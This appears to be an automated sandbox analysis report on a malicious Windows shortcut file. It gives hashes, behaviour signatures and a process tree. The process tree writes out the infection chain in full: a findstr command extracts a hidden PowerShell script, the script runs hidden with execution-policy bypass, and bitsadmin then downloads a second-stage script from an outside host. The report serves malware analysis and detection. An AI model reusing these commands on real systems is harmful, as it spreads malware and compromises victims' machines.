Analysis

  • max time kernel
    137s
  • max time network
    131s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-08-2024 19:01

General

  • Target

    pack-KRJ88981-99192.lnk

  • Size

    2KB

  • MD5

    4163cb3655dfdae03d13d623dd9dc8db

  • SHA1

    6183474325319e89dcf02e9bd54220d1d912638b

  • SHA256

    0984a28618d50bee71deec7824b449bbe04b04b0951fe4d8dcf8a3ffa7691bb7

  • SHA512

    b5205aa5686fed2f93edcd42729fad49572fe3424459d93c32139460bf3d06ee4d18d2391800965d97129e1f39c932409f1b58388bc70841624c4f11718c8a8d

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\pack-KRJ88981-99192.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1092
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c findstr /s jhdfkweinwefa C:\Users\Admin\\*.lnk > C:\Users\Admin\\Documents\\blue.ps1 & cmd /c powershell -w hidden -ep bypass -File C:\Users\Admin\\Documents\\blue.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3140
      • C:\Windows\system32\findstr.exe
        findstr /s jhdfkweinwefa C:\Users\Admin\\*.lnk
        3⤵
          PID:3664
        • C:\Windows\system32\cmd.exe
          cmd /c powershell -w hidden -ep bypass -File C:\Users\Admin\\Documents\\blue.ps1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4868
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -w hidden -ep bypass -File C:\Users\Admin\\Documents\\blue.ps1
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2992
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /C echo 1 > C:\Users\Admin\AppData\Roaming\\d & bitsadmin /transfer jhdfkweinwefa /download /priority FOREGROUND "https://jotaortega.com/white/tino.ps1" C:\Users\Admin\AppData\Roaming\\mtAWXwsnpbHikP.ps1 & del C:\Users\Admin\AppData\Roaming\\d & exit
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4896
              • C:\Windows\system32\bitsadmin.exe
                bitsadmin /transfer jhdfkweinwefa /download /priority FOREGROUND "https://jotaortega.com/white/tino.ps1" C:\Users\Admin\AppData\Roaming\\mtAWXwsnpbHikP.ps1
                6⤵
                • Download via BitsAdmin
                PID:4212
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4152,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:8
      1⤵
        PID:224

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_daer4vr4.p51.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\Documents\blue.ps1

        Filesize

        941B

        MD5

        367a305a4630d346d724dbb691efb600

        SHA1

        d6c8eaad2c33dc6c1e6a78bcce5be7f1c6d31ecd

        SHA256

        eb806b5998540137f2d368ba7bd613d5cadf65c683467c0be55f8f4c2cd3caea

        SHA512

        9484ee11a52aa8f26c85e94ebd326a75df52d33186ecbcfa118895ec39b5a1a9ede48ddabdae830294596ee9bd4827bb56c04b01e54ae6dd341ed10db2b61b11

      • memory/2992-1-0x00007FFDBE0D3000-0x00007FFDBE0D5000-memory.dmp

        Filesize

        8KB

      • memory/2992-2-0x000001CE310F0000-0x000001CE31112000-memory.dmp

        Filesize

        136KB

      • memory/2992-12-0x00007FFDBE0D0000-0x00007FFDBEB91000-memory.dmp

        Filesize

        10.8MB

      • memory/2992-14-0x00007FFDBE0D0000-0x00007FFDBEB91000-memory.dmp

        Filesize

        10.8MB

      • memory/2992-16-0x00007FFDBE0D3000-0x00007FFDBE0D5000-memory.dmp

        Filesize

        8KB

      • memory/2992-17-0x00007FFDBE0D0000-0x00007FFDBEB91000-memory.dmp

        Filesize

        10.8MB